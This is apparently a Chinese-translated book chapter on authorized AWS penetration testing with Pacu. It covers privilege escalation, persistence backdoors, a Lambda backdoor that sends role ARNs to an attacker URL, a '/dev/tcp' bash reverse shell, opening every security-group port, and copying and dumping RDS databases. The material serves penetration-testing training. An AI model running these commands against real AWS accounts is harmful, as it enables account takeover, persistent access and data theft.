我们可以在 Pacu 中枚举其他服务和运行其他枚举模块,但现在我们将继续查看特权升级。在我们尝试通过常规手段滥用用户权限进行特权升级之后,将是时候审查账户中的其他服务,并尝试使用这些服务进行特权升级(和/或其他攻击)。

特权升级

我们已经枚举了我们自己用户的权限,以及我们正在针对的帐户中的每个其他用户和角色的权限。现在我们可以将iam__enum_permissions模块生成的信息传递给iam__privesc_scan模块,以检查帐户内是否存在特权升级的情况。我们首先使用--offline参数,以便模块知道我们正在检查每个人的特权升级路径。如果没有该参数,它将只检查我们自己用户的特权升级路径,然后尝试利用它们以获得对环境的提升访问权限。以下截图显示了iam__privesc_scan模块的输出,其中它已经确定了多个用户已经具有对环境的管理员特权,并且多个用户容易受到几种不同特权升级的攻击:

使用--offline 参数运行 iam__privesc_scan 模块

我们可以从这个输出中得出一些结论。我们可以看到用户SpencerDaveYExampleUserAlex以及角色EC2AdminCloudFormationAdmin都已经具有对环境的管理员访问权限。之后,我们可以看到角色AWSBatchServiceRoleAWSServiceRoleForAutoScalingaws-elasticbeanstalk-service-role以及用户CompromisedUser可能容易受到各种特权升级方法的攻击。

好消息是我们自己的用户CompromisedUser可能容易受到四种不同的升级方法的攻击,这意味着我们很可能能够进一步访问环境。如果我们想以后再次查看这些数据,我们可以导航到 Pacu ./sessions/Acme/downloads/文件夹,以查看生成的 JSON 文件,其中存储了特权升级数据,如模块输出底部所示。当我们完成渗透测试(在验证特权升级扫描结果后),我们将要确保将这些信息报告给客户,即使我们自己的用户并非直接易受攻击。

特权升级扫描的结果旨在通过它们的名称自我解释,但如果您对每种特权升级方法的具体情况感兴趣,建议您查看此链接:rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/。该模块是围绕该博客文章的内容构建的,因此您可以将特权升级方法与博客文章中解释的手动指南进行匹配。

如果我们查看我们的CompromisedUser易受攻击的privesc方法,它告诉我们它可能容易受到四种不同方法的攻击。CreateEC2WithExistingIP方法意味着我们可能有权限启动新的 EC2 实例并将现有实例配置文件传递给它,然后我们将能够访问与实例配置文件关联的 IAM 角色凭据。"PassExistingRoleToNewLambdaThenTriggerWithNewDynamo""PassExistingRoleToNewLambdaThenTriggerWithExistingDynamo" privesc方法意味着我们可能有权限创建新的 Lambda 函数,传递 IAM 角色,然后通过新的或现有的 DynamoDB 事件源映射调用该函数。

PassExistingRoleToNewDataPipeline方法告诉我们,我们可能有权限启动新的数据管道以执行 AWS CLI,就像我们传递的角色一样。我们可以手动查看这些方法中的每一个,以尝试获得更多的访问权限,但使用iam__privesc_scan模块的利用功能将更加高效,它将自动尝试使用可用方法提升我们用户的权限。

要自动利用特权升级方法,我们只需运行以下命令:

run iam__privesc_scan

然后,它将自动找到我们用户的脆弱的privesc方法,并循环遍历每一个,直到成功获得额外的权限。由于某些特权升级方法的复杂性,可能需要在各个点输入用户输入。当我们第一次运行它时,它将再次找到那些特权升级方法,然后深入到CreateEC2WithExistingIP特权升级方法中,可以在以下截图中看到:

privesc 扫描模块尝试通过第一种方法获得特权

它正在要求一个区域,因为我们还没有为 Pacu 会话设置任何会话区域,所以我们将提供15来定位us-west-2区域:

EC2 特权升级方法希望我们选择要附加到实例的实例配置文件

正如我们在前面的截图中所看到的,有六个 EC2 实例配置文件有资格附加到我们的实例。我们想选择具有最高权限的那个,因为这是我们通过这种方法获得访问权限的角色。我们可以通过查看之前的完整账户iam__enum_permissions模块的输出来确定这些信息,但是如果我们回顾一分钟前的完整账户特权升级扫描,我们将看到它告诉我们EC2Admin角色已经具有管理员权限。这使得这个问题的选择变得显而易见:

在选择实例配置文件后,我们被问到的下一个问题

接下来,我们将被提出一个问题,并提供五个选项供选择。问题是问我们如何使用这个 EC2 实例来提升我们的权限。选项一是在启动时向我们自己的服务器打开一个反向 shell,允许我们在实例内部做我们想做的事情。选项二是从目标实例内部运行 AWS CLI 命令,使用我们附加到实例的角色凭据。选项三是从 EC2 实例向我们自己的服务器发出包含 IAM 角色当前凭据的 HTTP 请求。选项四是在 AWS 中创建一个新的 SSH 密钥,提供给您私钥,然后使用该密钥启动实例,以允许您 SSH 进入它。最后,选项五是跳过这个privesc方法,转移到下一个。根据您的个人设置和环境的设置,您将不得不选择最适合您的方法。

对于这次渗透测试,我将选择选项一,即反向 shell,因为它不会触发 GuardDuty,而且只需要默认的 EC2 安全组允许我们指定的端口的出站互联网访问(而不是像选项四那样需要入站端口22)。从反向 shell,我们可以在实例内部使用 AWS CLI,从 EC2 元数据 API 中获取角色凭据,或者任何其他我们想要的东西:

使用反向 shell 选项进行特权升级方法

在上一张截图中,我们可以看到我们提供了攻击者拥有的服务器的 IP 地址(已屏蔽)和端口。然后,该模块输出了它创建的 EC2 实例的详细信息。现在,我们所需要做的就是等待我们的反向 shell 出现:

设置我们的 netcat 监听器,在那里我们接收我们的反向 shell 作为 root 用户

正如我们在前面的截图中所看到的,我们使用 netcat 监听端口5050,运行whoami命令以查看我们是 root 用户,然后使用 AWS CLI 运行STS GetCallerIdentity命令。该命令的输出显示我们正在作为假定角色EC2Admin进行 AWS 身份验证,我们知道该角色对环境拥有完整的管理员权限。

尽管我们在 AWS 环境中有管理员权限,但这只是暂时的。我们可能随时失去这个 EC2 实例,或者凭据在我们能够对其进行有用操作之前就会过期,因此我们需要迅速采取行动,提升我们原始的CompromisedUser权限并将 EC2 实例保存为备份。基本上,一旦我们提升了自己用户的权限,EC2 实例将作为账户中的伪持久性,有可能在将来再次获得管理员级别权限。

为了将我们自己的用户提升为管理员,我们将运行以下 AWS CLI 命令,将AdministratorAccess AWS 托管的 IAM 策略附加到我们的CompromisedUser

aws iam attach-user-policy --user-name CompromisedUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

如果成功,该命令不会返回任何输出,因此我们可以再次回到iam__enum_permissions Pacu 模块,以确认我们是管理员:

重新运行 iam__enum_permissions,然后运行 whoami,并查看我们是否附加了 AdministratorAccess IAM 策略

如果我们想进一步确认,我们可以尝试运行一个我们之前没有访问权限的 AWS CLI 命令或 Pacu 模块,但我们的用户附加的策略表明我们实际上是管理员。

到目前为止,我们已经枚举了 IAM 和 EC2 数据,启动了一个后门 EC2 实例以允许特权升级,然后使用 EC2 实例将我们的CompromisedUser提升为环境中的管理员。在这一点上,我们应该在继续使用其他 AWS 服务之前建立一些持久性。

持久性

尽管我们已经有一个我们可以访问的 EC2 实例,并且可以在环境中提供给我们管理员级别角色的访问权限,但出于几个原因,我们不应该仅依赖它作为我们唯一的持久性方法。角色随时可能发生变化,例如如果被删除或者其权限被修改,这将移除或削弱我们的持久性访问。

EC2 实例随时可能被标记为可疑并关闭,移除我们的持久性访问。此外,EC2 安全组规则可能被修改,阻止实例的出站访问,这意味着我们将不再接收到反向 shell。最后,我们可能会失去反向 shell 连接,这意味着我们需要等待实例重新启动才能再次获得反向 shell 连接。即使没有防御者试图阻止我们,事情也可能出错很多种方式,因此附加角色的 EC2 实例并不是一个可靠的持久性方法,尽管它至少在短时间内有效。

为了彻底/安全起见,我们将在目标帐户中启动几种不同的持久性方法:

  1. 我们将使用的第一种持久性方法是使用iam__backdoor_users_keys Pacu 模块为帐户中的另一个或两个用户创建新的访问密钥对,通过运行run iam__backdoor_users_keys命令:

使用iam__backdoor_users_keys模块为 DaveY 和 Spencer 用户设置后门

正如我们在前面的截图中所看到的,该模块将提示我们,询问我们想要为哪些用户创建后门 AWS 密钥。

  1. 我们选择了DaveYSpencer作为示例,因为当我们之前运行特权升级扫描程序时,他们显示为管理员用户,这意味着只要这些密钥存活,我们将具有提升的持久性。

  2. 接下来,我们将在帐户中创建一个新的 Lambda 后门,以便后门任何新创建的 IAM 角色,以便我们可以跨帐户假定其凭据。我们可以使用lambda__backdoor_new_roles Pacu 模块来实现这一点。我们需要一个具有 IAM UpdateAssumeRolePolicyGetRole权限的角色,以便我们的后门,因此我们将将该权限添加到允许 Lambda 被假定的现有角色。我们可以通过运行以下命令使用 AWS CLI 来实现这一点,该命令针对LambdaEC2FullAccess角色:

aws iam put-role-policy --role-name LambdaEC2FullAccess --policy-name UARP --policy-document '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": ["iam:UpdateAssumeRolePolicy", "iam:GetRole"], "Resource": "*"}]}'

  1. 还有一件事要做。该模块告诉我们,CloudTrail 必须在us-east-1地区启用我们的后门功能才能触发,因此我们应该再次检查一下,以防万一。以下命令可以满足我们的要求:
aws cloudtrail describe-trails --region us-east-1

在我们的情况下,有一个位于us-east-1的角色,因此我们可以使用后门模块,如下截图所示:

创建一个后门 Lambda 函数和 CloudWatch Events 规则

正如我们在前一个屏幕截图中看到的,我们运行了以下 Pacu 命令:

run lambda__backdoor_new_roles --exfil-url http://x.x.x.x:5050/ --arn arn:aws:iam::000000000000:user/PersonalUser

该命令假定我们在 IP x.x.x.x(已编辑)的端口5050上托管了 HTTP 监听器,并且我们的PersonalUser AWS 用户驻留在 AWS 帐户 ID000000000000中。运行时,Pacu 将为 Lambda 函数生成代码,对其进行压缩,然后将其上传到 Lambda。之后,它将创建一个 CloudWatch Events 规则,该规则会触发任何 IAM CreateRole API 调用。现在,每当创建新的 IAM 角色时,我们的 CloudWatch Events 规则将被触发,这将导致我们的 Lambda 函数被调用,然后将使用 IAM UpdateAssumeRolePolicy API 将我们的外部用户(PersonalUser)添加为可以假定的受信任实体。完成后,它将将新角色的 ARN 外泄到我们在命令中提供的 URL,以便我们随时可以使用它来访问帐户。

等待片刻后,我们最终收到了一个 IAM 角色 ARN 的请求,这意味着已经创建了一个角色,并且我们使用我们的 Lambda 函数自动设置了后门:

我们自己的服务器在端口 5050 上监听来自我们后门 Lambda 函数的 IAM 角色 ARN

正如我们在前面的屏幕截图中看到的,我们的服务器收到了一个HTTP POST请求,其中包含一个 URL 编码的 IAM 角色 ARN(名为A-New-Role)。

如果我们想要请求此后门角色的凭据,我们将使用 STS AssumeRole API。我们可以通过运行以下 AWS CLI 命令,使用我们的PersonalUser的凭据来实现这一点:

aws sts assume-role --role-session-name Backdoor --role-arn arn:aws:iam::216825089941:role/A-New-Role

我们可以使用相同的命令来处理任何其他最终被创建并外泄到我们服务器的角色;我们只需要修改其中的 ARN。

现在我们是帐户中的管理员,我们有几种提升的持久性形式,并且我们还在帐户中执行了一些基本的侦察。现在,我们准备进入服务利用阶段。

后利用

后利用(或服务利用)阶段基本上是我们尽可能地针对 AWS 服务,以尝试发现弱点、错误配置和不良实践。我们将在本节中介绍一些主要的 AWS 服务,但任何 AWS 服务都有可能被利用和错误配置,因此查看任何正在使用的服务或资源几乎总是值得的,即使您可能对该服务本身不熟悉。

EC2 利用

我们已经开始处理一些与 EC2 相关的内容,因此我们将从这里开始。EC2 也是您在渗透测试中经常遇到的服务之一,因此熟悉它并进行测试是一个好主意。当错误配置时,EC2 也可能产生一些高影响的发现,因此以它作为您的主要服务开始是没有错的。

我们可以首先检查有哪些 EC2 实例具有公共 IP 地址。在 AWS Web 控制台中,这很简单,因为您可以通过实例的公共 IP 地址对结果进行排序。如果我们想要从我们的CompromisedUser获得控制台访问权限,我们可以使用 IAM 的CreateLoginProfile API 为我们创建一个登录密码,但如果我们不想这样做,我们可以使用 Pacu 中的data EC2命令来查看我们之前执行的枚举的结果。

然后,对于每个具有公共 IP 地址的实例,我们可以查看附加到它们的 EC2 安全组。理想情况下,我们可以浏览安全组规则,尝试找到可能在实例上运行的任何服务。如果我们看到端口 80 对某个 IP 地址开放,我们知道该实例上可能正在运行 Web 服务器。如果我们看到端口 22 对某个 IP 地址开放,我们知道该实例上可能正在运行 SSH 服务器(等等)。如果其中任何端口对公共开放,我们可以尝试访问这些端口,并寻找任何低 hanging-fruit,例如弱/缺乏身份验证,已知的漏洞,或者您在网络风格渗透测试中可能寻找的其他任何内容。

如果满足了正确的条件,我们甚至可以在没有公共 IP 地址的实例上执行相同的任务,但是有管理员访问权限,我们可能可以使任何事情都能够运行。我们已经在账户中启动了一个 EC2 实例,用于特权升级,所以我们可能在其他 EC2 实例的 VPC 内。如果不是这样,我们可以启动另一个实例并以这种方式获得访问权限。从那个实例,我们可以访问其他 EC2 实例的内部 IP,所以我们可能可以通过这种方式获得进一步的访问权限。

如果这些都不起作用,我们可以修改这些实例的安全组规则,以允许我们访问。您可以使用 EC2 的AuthorizeSecurityGroupIngress API 手动执行此操作,或者我们可以使用ec2__backdoor_ec2_sec_groups模块创建允许我们访问任何端口的后门规则。使这一切发生的 Pacu 命令如下,我们正在为所有安全组向1.1.1.1 IP 地址(模拟为我们自己的 IP)打开每个端口:

run ec2__backdoor_ec2_sec_groups --port-range 1-65535 --protocol TCP --ip 1.1.1.1/32

现在,如果我们的 IP 地址是1.1.1.1,我们应该能够访问任何实例上的任何端口。在这一点上,我们可以像在常规内部网络渗透测试中那样攻击这些服务。

如果我们想直接在任何 EC2 实例上获得 RCE,我们可以尝试几种方法。如果您不在乎重新启动任何 EC2 实例(您应该在乎,因为我们通常不希望对客户服务器执行此操作),那么您可以使用ec2__startup_shell_script Pacu 模块停止所有(或指定)EC2 实例,修改它们的userdata以在启动时输入root/SYSTEM的反向 shell,然后重新启动所有这些实例。它们只会离线几分钟,但如果您不熟悉环境的设置,这可能会导致重大问题,因此通常不建议这样做。

如果我们想要在 EC2 实例上获得 RCE,并且满足了正确的条件,我们可以在 Pacu 中使用systemsmanager__rce_ec2模块。它尝试识别哪些 EC2 实例安装了系统管理器代理(默认或非默认),然后如果识别到任何实例,它将尝试将系统管理器角色附加到它们上。一旦完成这一步,满足正确条件的实例将显示为系统管理器run命令的可用目标,这允许您在目标实例上以root/SYSTEM用户的身份执行代码。一个示例 Pacu 命令,在 Linux 目标上运行反向 bash shell,可能看起来像这样:

run systemsmanager__rce_ec2 --target-os Linux --command "bash -i >& /dev/tcp/1.1.1.1/5050 0>&1"

提供给--command参数的值是一个 bash 反向 shell,将调用1.1.1.1 IP 地址的5050端口。在我的服务器上(假设我控制1.1.1.1),我将运行一个 netcat 监听器,比如nc -nlvp 5050,等待我的 shell 进来。请记住,这只适用于单个实例,如果您想在多个实例上放置某种恶意软件或反向 shell,您可能需要修改您的有效载荷。您还可能需要为 Windows 主机准备另一个有效载荷。

如果在运行此模块时启用并监听PacuProxy,则可以省略--command参数。如果这样做,Pacu 将自动使用其自定义的 Linux/Windows 单行分段器来控制目标服务器。这样,您就不需要担心目标操作系统或自己想出命令。

如果我们想测试其他保护/监控功能,或者我们只是想要恶意行为,我们可以尝试启动多个 EC2 实例,用于加密货币挖矿等操作,但由于这种攻击的成本影响,几乎不应在渗透测试期间执行。只有在您的客户完全理解并希望您执行的测试时,才执行此类攻击。

我们可能想尝试的另一种攻击是检查帐户中的 EBS 卷和快照。我们可以通过几种方式来做到这一点,但基本上这些是步骤:

  1. 创建您想要查看的 EBS 卷的快照。

  2. 与攻击者帐户共享该快照,或在受损帐户中创建一个 EC2 实例。

  3. 从您创建的快照创建一个新的 EBS 卷。

  4. 在您的 EC2 实例上挂载 EBS 卷。

  5. 在挂载的卷的文件系统中搜索秘密。

跨帐户共享 EBS 快照的好处是,您可以在自己的帐户中使用 EC2 来检查所有内容,但通常共享/公共 EBS 快照会被许多配置检查器审计,这意味着您可能会被标记并被发现。在受损帐户中使用 EC2 实例的好处是,您可以避免跨帐户共享快照,但您可能会在任何时候被发现并删除。

ebs__explore_snapshots Pacu 模块是为了自动化这个过程而构建的。您只需运行它,并传入帐户中 EC2 实例的实例 ID 和其可用区,然后它将循环遍历帐户中的所有 EBS 卷(每次几个),将它们挂载到您的 EC2 实例,然后等待您完成搜索文件系统。完成后,它将分离所有附加到您的实例的卷,删除它们,然后还将删除它创建的任何快照。运行此模块的示例命令可能如下所示:

          run ebs__explore_snapshots --instance-id i-0f4d19t8701d76a09 --zone us-east-1a

然后,它将逐步将 EBS 卷附加到该实例的可用区us-east-1a,允许您一次检查它们的小组,并在此之后为您清理一切。

Lambda 中的代码审查和分析

Lambda 是另一个非常常见和非常富有成效的服务,就像我们在 Lambda 渗透测试章节中看到的那样。

我们要做的第一件事是使用lambda__enum Pacu 模块在目标帐户中枚举 Lambda 函数。我们可以像这样运行它,不带任何参数:

          run lambda__enum

完成后,我们可以运行data Lambda来查看枚举的函数数据。要开始审查过程,我们应该循环遍历每个函数,并查看与之关联的环境变量,以尝试找到一些可能在我们的攻击中有用的敏感数据/值。

在检查环境变量以获取有趣数据后,如果我们发现了任何内容,比如发现了 API 密钥或密码,那么我们将希望截图并做笔记,以便向客户报告。如果我们发现的内容在某种程度上可以被滥用,那么现在可能是这样做的时候,但只有在仍然在您的参与范围内时才这样做。有时,您发现的秘密将属于第三方服务,您可能不应该攻击它们,但其他时候,如果您可以通过特权升级或跨 AWS 账户访问某个地方,那么确认与您的客户联系人后,这可能是值得的。

完成后,您可以浏览 Pacu Lambda 数据并下载每个 Lambda 函数的代码进行本地分析。下载后,您可以运行静态源代码安全工具,例如 Python 的 Bandit,尝试发现代码中的任何固有弱点。

在对代码进行自动化和手动审查后,如果发现了潜在的漏洞,现在就是利用它们来确认发现的时候。如果您发现一个 Lambda 函数由 S3 触发,然后将用户可控数据放入不安全的操作系统命令中,您可以使用此方法在 Lambda 函数上实现远程代码执行,以窃取附加 IAM 角色的 IAM 凭据。

在 RDS 中通过身份验证

凭借正确的 RDS 权限,我们有可能以管理员用户的身份获得对目标账户中任何 RDS 数据库实例的完全访问权限,这将授予我们对存储在其中的数据的完全访问权限。

这种攻击过程可以手动完成,也可以使用rds__explore_snapshots Pacu 模块。目标是滥用 RDS 数据库实例的备份,以创建现有数据库的新副本,并具有我们自己的私有访问权限。如果我们获得了对 RDS 的访问权限,并且只有一个实例且没有备份,那么该过程将包括以下步骤:

  1. 创建运行中数据库实例的快照。

  2. 将该快照恢复到一个新的数据库实例。

  3. 将我们新数据库实例的主密码更改为我们知道的内容。

  4. 将数据库更改为公开访问,并修改任何安全组规则以允许我们入站访问正确的端口。

  5. 使用我们设置的凭据连接到数据库。

  6. 使用类似mysqldump的工具来外泄整个数据库。

一旦连接,它将是账户中单个生产数据库的完整副本,这意味着我们可以随心所欲地使用它。根据数据库中的数据量,一个明智的举措是使用类似mysqldump的工具将 SQL 数据库外泄到手动检查或导入到另一个外部数据库,这样就不会有任何访问被撤销的风险。确保在完成时删除您创建的原始数据库的快照和数据库实例;否则,您可能会在目标账户中产生一些费用。这可能有几个原因不好,包括让您的客户生气和/或被计费警报捕捉到您的活动。

这是一个可以手动完成的简单过程,但通常最好自动化,这样您就不会在过程中犯任何手动错误并搞砸生产数据库。您可以简单地运行以下 Pacu 命令来自动化大部分数据库实例的过程(使用--region标志指定特定区域):

run rds__explore_snapshots

rds__explore_snapshots模块的一部分输出

前面的截图显示了rds__explore_snapshots模块的部分输出。它将扫描您指定的区域以查找 RDS 实例,给出它们的名称,然后提示您是否要复制它。如果选择是,它将创建该数据库的快照,将该快照恢复到一个新的数据库,修改主密码,然后提供连接凭据。然后,您可以使用mysqldump之类的工具转储数据库,或者从数据库中获取您需要的特定数据。之后,您可以按Enter键在 Pacu 中继续进行下一个可用的数据库,然后该模块将删除它刚刚创建的数据库快照和数据库实例。如果模块在任何过程中出现故障,它将尝试清理之前运行时留下的任何未完成的资源。这样,您就不需要担心删除为攻击创建的任何资源。

关于对 RDS 的这次攻击的另一个有趣的点是,修改主密码与一大堆其他配置更改捆绑在一起,因此并不一定是一个高度监控的 API 调用。它使用 RDS 的ModifyDbInstance API 来更改主密码,但同样的 API 也用于修改网络设置、监控设置、认证设置、日志设置等等。

S3 的认证方面

关于 AWS S3 已经有大量的研究,但从认证方面来看,情况有所不同。在利用阶段进入 S3 时,大部分过程都围绕着识别不应该公开的公共资源(存储桶/对象),但它不仅仅是如此。现在是时候审查围绕 S3 构建的自动化,并看看它是否可以被利用,也是时候审查各种存储桶的内容,看看你是否可以从中获得进一步的访问权限。

客户知道他们的开发人员可以访问 X、Y 和 Z 的 S3 存储桶可能会有所帮助,你发现存储在 Y 存储桶中的私有 SSH 密钥导致了 EC2 实例的受损,进而提供了更多的 AWS 凭证等等。不遵循最小权限原则的客户往往会面临各种攻击,特别是在 S3 中。

在审查存储在 S3 中的文件时,通常需要花费太长时间来查看每个存储桶中的每个文件,因此最好优先考虑您要寻找的内容。通常,存储桶、文件和文件夹名称将是判断文件是否值得查看的最佳指标。像names.txt这样的文件可能不值得您的时间,但像backup.sql这样的文件可能值得您的时间。通常,最好搜查这些文件以查找凭据、API 密钥、客户数据或任何敏感内容。您可以使用这些数据来显示权限升级路径、跨账户妥协攻击等等,具体取决于您找到的数据类型。也许它为您提供了访问他们企业网站的权限,或者他们内部 VPN 的权限。可能性是无穷无尽的,这一切取决于您找到了什么。

在寻找公共资源时,最好通知客户所有发现,即使内容并不敏感。如果整个存储桶设置为公开,某人可能会不小心上传一个不应该公开的文件,或者如果存储桶是公开可列出的,找到存储桶名称的用户将能够枚举存储桶中的每个文件。重要的是要注意,即使存储桶中的文件需要公开,存储桶也不需要公开可列出。

在审查围绕 S3 构建的自动化时,最好检查每个存储桶上的 S3 事件和日志记录。这样,你可以看到它们如何对其私有存储桶中的活动做出反应(或不做出反应)。

S3 存储桶和文件名也可以作为环境内的一种类型的侦察。通常,您可以根据 S3 存储桶名称发现账户内正在使用某些 AWS 服务。许多服务和功能将自动创建具有模板名称的 S3 存储桶,因此在这种情况下很容易进行相关性分析。

合规审计和最佳实践

除了对 AWS 服务和资源的直接利用之外,还重要的是在尽可能多的位置为您的客户提供一般的安全审计。这些类型的检查通常属于一小组类别:

  • 公共访问

  • X 是否可以公开访问?这是否应该是可能的?

  • 加密

  • Y 是否在静止状态下加密?Z 是否在传输中加密?

  • 日志

  • C 的日志是否已启用?是否对这些日志进行了处理?

  • 备份

  • D 是否已备份?备份频率如何?

  • 其他安全控制

  • 是否使用 MFA?

  • 密码策略强度?

  • 对正确的资源进行删除保护?

当然,除了这几个之外,还有更多内容,但通常这些是最常见的发现类型。

已经有许多工具可以提供对环境的这种洞察,包括以下内容:

  • Prowler

  • Security Monkey

  • Scout2/ScoutSuite

还有许多其他工具,它们都与下一个工具有些不同,因此最终选择使用哪一个通常是个人选择。

摘要

AWS 渗透测试是一个需要广泛知识和奉献精神的复杂过程,而且它确实是一个永无止境的过程。AWS 始终会发布新的服务和功能,因此对于这些服务总会有新的安全检查和攻击。

作为渗透测试人员,很难说您已经完成了对 AWS 环境的渗透测试,因为它们可能是如此庞大和复杂,因此重要的是尽可能攻击尽可能多的不同服务,同时要在您与客户达成的时间表内完成。

您进行的每次真实世界渗透测试可能会大不相同。由于 AWS 及其提供的规模和复杂性,人们在任何地方都会以不同的方式进行操作,因此重要的是永远不要感到舒适,而是始终期望学习、教导和取得成功。

我们希望您在本章关于真实世界的 AWS 渗透测试中所学到的内容可以帮助您在自己的工作中推动整个 AWS 安全社区向前发展。我们涵盖了初始渗透测试启动以及未经身份验证和经过身份验证的侦察,包括枚举我们的权限。然后,我们继续通过 IAM 配置错误来提升这些权限,然后使用我们提升的访问权限在环境中建立持久性手段。在我们的访问权限得到保障后,我们继续进行 AWS 服务的一般后渗透,这是真正的魔术发生的地方。除此之外,我们简要介绍了如何识别和汇总合规性和最佳实践检查,以向我们的客户提供全面有用的报告。

AWS 渗透测试是一个有趣而复杂的过程,只能不断扩展,所以现在我们需要您走出去,贡献您的知识和经验,为所有用户创造一个安全的 AWS 体验。

posted @ 2024-05-03 21:40  绝不原创的飞龙  阅读(88)  评论(0编辑  收藏  举报